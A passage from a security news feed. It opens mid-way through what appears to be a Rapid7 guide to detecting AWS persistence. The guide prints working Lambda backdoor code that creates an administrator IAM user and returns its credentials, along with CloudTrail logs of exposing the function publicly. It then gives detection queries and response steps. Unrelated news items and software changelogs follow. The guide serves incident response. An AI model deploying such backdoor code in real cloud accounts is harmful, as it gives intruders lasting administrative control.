    user_name = f"user-{uuid.uuid4().hex[:8]}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))

    try:
        response = iam.create_user(UserName=user_name)
        print(f"User {user_name} created successfully")

        iam.create_login_profile(
            UserName=user_name,
            Password=password,
            PasswordResetRequired=False
        )

        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )

        account_id = context.invoked_function_arn.split(":")[4]
        iam_login_url = f"https://{account_id}.signin.aws.amazon.com/console"

        return {
            'statusCode': 200,
            'body': json.dumps({
                'message': f'User {user_name} created successfully',
                'login_url': iam_login_url,
                'username': user_name,
                'password': password
            })
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': error_message})
        }</pre><p><span><em>Listing 9: Backdoor Python Lambda code</em></span></p><p></p><p><span>The code in Listing 5 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.</span></p><p><span>One way the function can be invoked via a public URL is by using the </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> and </span><span><span data-type="inlineCode">lambda:AddPermission</span></span><span> sequence. The </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, </span><span><em><span data-type="inlineCode">lambda:AddPermission</span></em></span><span>, assigns permission that allows the function to be invoked from the URL.</span></p><p>    </p><pre language="html">"requestParameters": {
      "functionName": "backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    },
    "responseElements": {
      "functionUrl": "https://uniqueaddress.lambda-url.us-east-1.on.aws/",
      "functionArn": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    }</pre><p><em>Listing 10: Example request and response elements of the </em><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span><em> function<br></em><em><br></em><span>Another way to trigger a Lambda function via a URL is to create an API Gateway endpoint and use </span><span><span data-type="inlineCode">apigateway:CreateIntegration</span></span><span> or </span><span><span data-type="inlineCode">apigateway:PutIntegration</span></span><span> to set the destination to a Lambda function. The action logged in Listing 7 creates an integration to trigger version 1 of a Lambda function named </span><span><span data-type="inlineCode">backdoor_lambda_function</span></span><span>. When investigating, it is important to check the content of the version of the Lambda function being triggered, as there may be legitimate-looking code in later versions used to hide malicious code.</span></p><p></p><pre language="html">  "eventSource": "apigateway.amazonaws.com",
    "eventName": "CreateIntegration",
    "awsRegion": "us-east-1",
    "requestParameters": {
      "integrationMethod": "GET",
      "integrationType": "AWS_PROXY",
      "payloadFormatVersion": "2.0",
      "integrationUri": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1",
      "apiId": "xxxxxxx"
    },</pre><p><em>Listing 11: Part of </em><span data-type="inlineCode">apigateway:CreateIntegration</span><em> CloudTrail log</em></p><p></p><p><span>There are various other ways the backdoor function may be implemented. For example, threat actors may use </span><span><span data-type="inlineCode">events:PutRule</span></span><span> to set up event-driven execution and then use </span><span><span data-type="inlineCode">events:PutTargets</span></span><span> to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.</span></p><h3>Suspicious Lambda function activity: Next steps</h3><p><span>This section contains recommended actions and investigation steps to take whenever InsightIDR highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:</span></p><ul><li><p><span>Is the Lambda function known and authorized?</span></p></li><li><p><span>What code invoked the suspicious activity?</span></p></li><li><p><span>Who created the Lambda function?</span></p></li><li><p><span>How was the Lambda function triggered?</span></p></li><li><p><span>What actions were performed by the function?</span></p></li></ul><p><span>The LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named </span><span><span data-type="inlineCode">malicious-function</span></span><span>, grouped by event source.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn ICONTAINS "/malicious-function" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 12: LEQL query showing an overview of actions performed by the Lambda function</em></p><p></p><p><span>Malicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 9 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (</span><span><span data-type="inlineCode">lambda:Invoke</span></span><span> API call).</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS "malicious-function" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "config.amazonaws.com"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)</pre><p><em>Listing 13: LEQL query showing actions performed on the Lambda function</em></p><h2>Persistence technique: Federated user session creation</h2><p><span>Threat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.</span></p><p><span>This technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.</span></p><p><span>The effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the </span><span><span data-type="inlineCode">GetFederationToken</span></span><span> request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.</span></p><p><span>When InsightIDR alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:</span></p><p></p><pre language="json">"userIdentity": {
  "type": "FederatedUser",
  "principalId": "123456789012:None",
  "arn": "arn:aws:sts::123456789012:federated-user/None",
  "accountId": "123456789012",
  "accessKeyId": "ASIAS8T6L4RPJJGXXXX",
  "sessionContext": {
    "sessionIssuer": {
      "type": "IAMUser",
      "principalId": "AIDAIT67N6AB4IH6XXXXX",
      "arn": "arn:aws:iam::123456789012:user/compromisedUser",
      "accountId": "123456789012",
      "userName": "compromised_user"
    },
    "attributes": {
      "creationDate": "2026-04-11T09:13:11Z",
      "mfaAuthenticated": "false"
    }
  }
},</pre><p>Listing 13: <span data-type="inlineCode">userIdentity</span> field of an event performed by a federated user</p><p></p><p><span>In this example, the federated user name is </span><span><span data-type="inlineCode">None</span></span><span>, which comes from the name parameter supplied to STS. The </span><span><span data-type="inlineCode">sessionContext.sessionIssuer</span></span><span> field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.</span></p><p><span>To review successful actions performed by the federated user, defenders can use the following LEQL query:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 15: LEQL query showing all successful actions performed by the federated user</em></p><p></p><p><span>To focus on higher-signal activity, defenders can exclude common enumeration actions:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"])groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user</em></p><p><span></span></p><p><span>When reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the </span><span><span data-type="inlineCode">signin:GetSigninToken</span></span><span> and </span><span><span data-type="inlineCode">signin:ConsoleLogin</span></span><span> API sequence.</span></p><p><span>Defenders can review </span><span><span data-type="inlineCode">sts:GetFederationToken</span></span><span> calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding </span><span><span data-type="inlineCode">source_json.responseElements.credentials.accessKeyId = “malicious_access_key”</span></span><span>, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.</span></p><p></p><pre language="html">where(service = "cloudtrail" and action = "GetFederationToken" and source_json.eventSource = "sts.amazonaws.com" and source_json.requestParameters.name = "None" and source_json.userIdentity.userName = "compromised_user")</pre><p><em>Listing 17: LEQL query showing the </em><span data-type="inlineCode">GetFederationToken</span><em> event that created the federated user credentials</em></p><p><span></span></p><p><span>During the investigation, responders should focus on answering the following questions:</span></p><ul><li><p><span>Which IAM user created the federated session?</span></p></li><li><p><span>What actions did the federated user perform after the token was issued?</span></p></li><li><p><span>Did the actor use the federated session to access the AWS Management Console?</span></p></li><li><p><span>Did the federated user create or modify additional persistence mechanisms?</span></p></li><li><p><span>What other suspicious activities were performed?</span></p></li></ul><p><span>When compromise is confirmed, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Apply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.</span></p></li><li><p><span>Rotate or delete all affected access keys associated with the compromised IAM user.</span></p></li><li><p><span>Remove any additional persistence that might have been created.</span></p></li></ul><h2>Summary</h2><p><span>AWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.</span></p><p><span>Effective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. Rapid7 MDR provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-23689 | ClichHouse r2dbc/jdbc/client up to 0.4.5 information exposure (ID 1331 / EUVD-2024-0233)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in ClichHouse r2dbc, jdbc and client up to 0.4.5. Affected by this issue is some unknown functionality. Performing a manipulation results in information exposure through error message.

This vulnerability is reported as CVE-2024...]]></description>
<link>https://tsecurity.de/de/3670629/sicherheitsluecken/cve-2024-23689-clichhouse-r2dbcjdbcclient-up-to-045-information-exposure-id-1331-euvd-2024-0233/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670629/sicherheitsluecken/cve-2024-23689-clichhouse-r2dbcjdbcclient-up-to-045-information-exposure-id-1331-euvd-2024-0233/</guid>
<pubDate>Wed, 15 Jul 2026 14:24:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/clichhouse:r2dbc">ClichHouse r2dbc, jdbc and client up to 0.4.5</a>. Affected by this issue is some unknown functionality. Performing a manipulation results in information exposure through error message.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2024-23689">CVE-2024-23689</a>. The attacker must have access to the local network to execute the attack. No exploit exists.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[2026.6.1]]></title>
<description><![CDATA[ImportantThis release applies to self-hosted deployments. Cloud web remains on the previous stable release, and the Cloud Desktop App release is deferred, while the personal-workspace data-loss issue (#6483) is being addressed.

This patch release resolves a Desktop App login loop when signing in...]]></description>
<link>https://tsecurity.de/de/3670447/downloads/202661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670447/downloads/202661/</guid>
<pubDate>Wed, 15 Jul 2026 13:17:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-important"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-report mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Important</p><p>This release applies to self-hosted deployments. Cloud web remains on the previous stable release, and the Cloud Desktop App release is deferred, while the personal-workspace data-loss issue (<a href="https://github.com/hoppscotch/hoppscotch/issues/6483" data-hovercard-type="issue" data-hovercard-url="/hoppscotch/hoppscotch/issues/6483/hovercard">#6483</a>) is being addressed.</p>
</div>
<p>This patch release resolves a Desktop App login loop when signing in to self-hosted instances, adds support for running containers under arbitrary non-root user IDs, and enables response-cookie capture for Agent-routed requests, alongside a lighter JSON response renderer.</p>
<h2>What's Changed</h2>
<ul>
<li>feat: allow containers to run with arbitrary non-root UIDs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mirarifhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mirarifhasan">@mirarifhasan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4784576502" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6481" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6481/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6481">#6481</a></li>
<li>fix: desktop login loop caused by empty auth cookies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CuriousCorrelation/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CuriousCorrelation">@CuriousCorrelation</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4870552739" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6502" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6502/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6502">#6502</a></li>
<li>fix: bump <code>relay</code> for agent response-cookie capture and pin fork revisions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CuriousCorrelation/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CuriousCorrelation">@CuriousCorrelation</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4836632360" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6496" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6496/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6496">#6496</a></li>
<li>fix(common): lazy-load <code>jq-wasm</code> in the JSON lens renderer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hassams/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hassams">@hassams</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4730035488" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6463" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6463/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6463">#6463</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hassams/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hassams">@hassams</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4730035488" data-permission-text="Title is private" data-url="https://github.com/hoppscotch/hoppscotch/issues/6463" data-hovercard-type="pull_request" data-hovercard-url="/hoppscotch/hoppscotch/pull/6463/hovercard" href="https://github.com/hoppscotch/hoppscotch/pull/6463">#6463</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/hoppscotch/hoppscotch/compare/2026.6.0...2026.6.1"><tt>2026.6.0...2026.6.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ClickFix is changing the economics of social engineering]]></title>
<description><![CDATA[ClickFix has moved from a one-off social engineering trick into an industrialized attack ecosystem that is outpacing conventional antivirus and endpoint defenses, according to ReversingLabs. The technique first showed up in late 2023 and early 2024, and Proofpoint named it in mid-2024. The method...]]></description>
<link>https://tsecurity.de/de/3670381/it-security-nachrichten/clickfix-is-changing-the-economics-of-social-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670381/it-security-nachrichten/clickfix-is-changing-the-economics-of-social-engineering/</guid>
<pubDate>Wed, 15 Jul 2026 12:53:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ClickFix has moved from a one-off social engineering trick into an industrialized attack ecosystem that is outpacing conventional antivirus and endpoint defenses, according to ReversingLabs. The technique first showed up in late 2023 and early 2024, and Proofpoint named it in mid-2024. The method skips exploits and vulnerabilities entirely. A fake webpage, styled as a CAPTCHA check, browser update notice, or meeting error, instructs a visitor to open the Windows Run dialog or macOS Terminal, … <a href="https://www.helpnetsecurity.com/2026/07/15/clickfix-social-engineering-attacks-report/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/15/clickfix-social-engineering-attacks-report/">ClickFix is changing the economics of social engineering</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[BMW elevates its AI humanoid robot strategy to include logistics]]></title>
<description><![CDATA[When people hear the term artificial intelligence, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term physical AI, the automaker is integrating the new humanoid AI robt Figure 03 into its production lo...]]></description>
<link>https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</guid>
<pubDate>Wed, 15 Jul 2026 11:35:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When people hear the term <em>artificial intelligence</em>, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term <em>physical AI</em>, the automaker is integrating the new humanoid AI robt Figure 03 into its production logistics.</p>



<p class="wp-block-paragraph">The move comes as no surprise: For almost a year, <a href="https://www.cio.de/article/3699238/bmw-testet-naechste-generation-humanoider-roboter.html?utm=hybrid_search">BMW had the predecessor (Figure 02)</a> welding body parts for more than 30,000 vehicles. The conclusion of this practical test: The machines can precisely perform monotonous, heavy tasks. Now the technology is leaving the testing phase and moving to where things get highly complex: logistics.</p>



<h2 class="wp-block-heading">The task: Transform chaos into order</h2>



<p class="wp-block-paragraph">While its predecessor simply lifted sheets of metal, the further enhanced Figure 03 has to solve cognitive and tactile tasks. In logistics, it picks unsorted components from large boxes and sorts them into carts in the exact required order. Automated transport systems then take over, carrying them to the assembly line.</p>



<p class="wp-block-paragraph">To achieve this, the manufacturer has upgraded Figure AI. The new robot has:</p>



<ul class="wp-block-list">
<li>Cameras and tactile sensors directly in the palms of the hands for greater sensitivity</li>



<li>Audio functions for true speech-to-speech communication in the factory hall</li>



<li>Wireless charging for continuous, autonomous operation</li>



<li>Softer components to increase safety for human colleagues</li>
</ul>



<p class="wp-block-paragraph">At first glance, a humanoid robot might seem like a project solely for the production manager. That’s a misconception. This use case is relevant for everyone, and is highly relevant for CIOs. Figure 03 is ultimately nothing other than a highly complex, mobile edge client that has to process large amounts of data (video, audio, sensor data) locally and in real-time.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/BMW-humanoider-Roboter-Figure-03_.png?w=1024" alt="BMW, humanoider Roboter Figure 03, Spartanburg" class="wp-image-4190512" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">These advanced robots, equipped with new capabilities, are taking on new tasks.</figcaption></figure><p class="imageCredit">BMW AG</p></div>



<p class="wp-block-paragraph">BMW is demonstrating in Spartanburg that such a robot works, but only in a fully digitized ecosystem like an automotive plant. This means that the IT department is the enabler for the production environment of the future.</p>



<ol start="1" class="wp-block-list">
<li><strong>Virtual twins:</strong> Even before the first robot touches a box, BMW simulates Hall 52 and all movement sequences in a 3D “Virtual Factory.” IT provides the planning basis.</li>



<li><strong>AI Quality Control (AIQX):</strong> Error detection is performed using cameras and microphones along the production line. The algorithms perform visual and audible checks and send the feedback directly to the smart devices of human colleagues.</li>



<li><strong>Infrastructure scaling:</strong> When robots communicate via voice, charge wirelessly, and interact with autonomous transporters, the WLAN, 5G, and network backbone in the factory must have low latency and be fail-safe.</li>
</ol>



<p class="wp-block-paragraph">On the one hand, the humanoid robot relieves BMW factory workers of physically demanding work; on the other hand, it forces the IT department to merge traditional IT infrastructure and factory technology (OT). “Physical AI” has thus arrived in everyday industrial practice.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Abstürze bei Dell-PCs: Microsoft stoppt Juli-Update von Windows 11]]></title>
<description><![CDATA[Wegen massiver Systemfehler stoppt Microsoft das aktuelle Juli-Update von Windows 11 für diverse Dell-PCs. Ein Konflikt mit einem wichtigen Intel-Treiber sorgt auf den Geräten für extreme Hitze­ent­wicklung und plötzliche Abstürze.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3669837/it-security-nachrichten/abstuerze-bei-dell-pcs-microsoft-stoppt-juli-update-von-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669837/it-security-nachrichten/abstuerze-bei-dell-pcs-microsoft-stoppt-juli-update-von-windows-11/</guid>
<pubDate>Wed, 15 Jul 2026 09:08:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,159985.html"><img hspace="5" border="0" align="left" alt="Microsoft, Sicherheit, Hacker, Fehler, Hack, Bug, Kriminalität, Computer, Schadsoftware, Cybersecurity, Hacking, Internetkriminalität, Fehlerbehebung, Bugs, Absturz, Hacker Angriffe, Hacken, Attack, Crash, Ransom, Crime, Error, Schädling, Fehlermeldung, Bluescreen, Update Fehler, Windows 10 bugs, Windows 10 Bug, Fehlercode, Neon, Promi-Hacker, Windows 10 Fehler, Softwarefehler, User, Achtung, Bluescreens, Attantion, Opfer, Anwender, Windows 10 Bluescreen, Dead, Pink, Hardwarefehler, Traurig, Computertot, Programmabsturz, Sad" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/38217.jpg"></a>
			Wegen massiver Systemfehler stoppt Microsoft das aktuelle Juli-Update von Windows 11 für diverse <a href="https://winfuture.de/special/dell-xps-13/" title="Dell XPS Special">Dell-PCs</a>. Ein Konflikt mit einem wichtigen Intel-Treiber sorgt auf den Geräten für extreme Hitze­ent­wicklung und plötzliche Abstürze.			(<a href="https://winfuture.de/news,159985.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[How Absolute Security CMO Ash Parikh Thinks About Marketing, Pipeline, and Working with the Board]]></title>
<description><![CDATA[Most CMOs come up through marketing. Ash Parikh came up through engineering and sales, and he thinks that is exactly why he does the job differently.

He joins Gianna and Charles on CyberCMO Confidential as the CMO of Absolute Security to talk about what 25 years of carrying a bag, presenting to ...]]></description>
<link>https://tsecurity.de/de/3669598/it-security-nachrichten/how-absolute-security-cmo-ash-parikh-thinks-about-marketing-pipeline-and-working-with-the-board/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669598/it-security-nachrichten/how-absolute-security-cmo-ash-parikh-thinks-about-marketing-pipeline-and-working-with-the-board/</guid>
<pubDate>Wed, 15 Jul 2026 07:06:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Most CMOs come up through marketing. Ash Parikh came up through engineering and sales, and he thinks that is exactly why he does the job differently.

He joins Gianna and Charles on CyberCMO Confidential as the CMO of Absolute Security to talk about what 25 years of carrying a bag, presenting to boards, and running marketing at some of the biggest names in cybersecurity taught him. He’s banned MQLs, replaced them with handraisers built on real intent signals, and has strong opinions on why most marketers are not ready for a buying process that is growing harder to see every year.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.210]]></title>
<description><![CDATA[What's changed

Added a live elapsed-time counter to the collapsed tool summary line so long-running tool calls visibly tick instead of looking stuck
Added a startup warning for Write(path), NotebookEdit(path), and Glob(path) permission rules — use Edit(path) or Read(path) instead
Fixed isolation...]]></description>
<link>https://tsecurity.de/de/3669298/downloads/v21210/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669298/downloads/v21210/</guid>
<pubDate>Wed, 15 Jul 2026 01:46:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added a live elapsed-time counter to the collapsed tool summary line so long-running tool calls visibly tick instead of looking stuck</li>
<li>Added a startup warning for <code>Write(path)</code>, <code>NotebookEdit(path)</code>, and <code>Glob(path)</code> permission rules — use <code>Edit(path)</code> or <code>Read(path)</code> instead</li>
<li>Fixed <code>isolation: 'worktree'</code> subagents being able to run git-mutating commands against the main repo checkout instead of their own isolated worktree</li>
<li>Fixed the <code>ultracode</code> keyword opt-in firing on non-human-originated input such as webhook payloads and relayed PR comments</li>
<li>Fixed a rendered text fragment leaking into crash telemetry when a UI component returned content outside a styled text element</li>
<li>Fixed paste markers leaking into external editors opened from Claude Code, which could appear as stray È/É characters around pasted text</li>
<li>Fixed <code>claude attach</code> sometimes failing with "job not found" or "agent is still starting" errors during session transitions — attach now waits for the daemon to settle, and terminal resizes during a slow attach are applied once it completes</li>
<li>Fixed a session crash when a tool's result renderer returned a numeric bigint value or plain text instead of a UI element</li>
<li>Fixed a hook callback timeout being misreported to the model as a user rejection, which made unattended sessions stop and wait</li>
<li>Fixed Claude assuming a <code>cd</code> took effect after its command was moved to the background; the tool result now states the working directory is unchanged</li>
<li>Fixed plugin-provided MCP servers being torn down when MCP servers are re-synced mid-session</li>
<li>Fixed plan approvals without edits being labeled "(edited by user)" and overwriting the plan file with a stale snapshot</li>
<li>Fixed <code>/doctor</code> skipping its auto-mode-default proposal on Bedrock, Vertex, and Foundry, where auto mode no longer needs an opt-in</li>
<li>Fixed Grep content mode claiming "No matches found" when paginating past the end of results</li>
<li>Fixed unmatched <code>$1</code>/<code>$2</code> positional placeholders in skills and commands being silently stripped; they are now preserved verbatim</li>
<li>Fixed plugin cache writes leaving temp files behind on failure and failing on locked-file renames on Windows and network filesystems</li>
<li>Fixed background workers crash-looping when a client resets its connection to the background service</li>
<li>Fixed <code>claude agents --effort ultracode</code> not reaching dispatched sessions; the value was silently dropped</li>
<li>Fixed pressing ← to open the agents view dropping the task tracker when returning to the session</li>
<li>Fixed the agents dashboard retaining pasted images from abandoned reply drafts after their session was deleted</li>
<li>Fixed killed background sessions leaving a permanent <code>git worktree lock</code> behind; the periodic sweep now releases locks whose owning process is gone</li>
<li>Fixed SDK MCP servers registered via an <code>initialize</code> control request waiting until the next turn to start connecting</li>
<li>Fixed returning to the agents view from a session leaving overlapping ghost frames with <code>CLAUDE_CODE_DISABLE_ALTERNATE_SCREEN=1</code></li>
<li>Fixed late-appearing <code>.claude/*</code> symlinks not being reconciled into the sandbox deny-write list</li>
<li>Hardened the Agent tool against indirect prompt injection via content a subagent read</li>
<li>Improved the Bash/PowerShell tool message when a command hits its timeout and is auto-backgrounded, so the model can distinguish a hang from an explicit background request</li>
<li>Improved auto mode: the permission classifier now defaults to Sonnet 5 for external sessions, validated on the session's first request and pinned for the session</li>
<li>Improved the bundled dataviz skill's chart color validation with perceptual OKLab color difference and recalibrated color-blindness thresholds</li>
<li>Memory writes that leave a MEMORY.md index over its read limit now produce an explicit error instead of silent truncation</li>
<li>Screen reader mode now announces permission mode changes aloud when cycling modes with Shift+Tab</li>
<li>The agents footer hint now shows how many background agents are waiting on your input, with a brief color emphasis when the count changes</li>
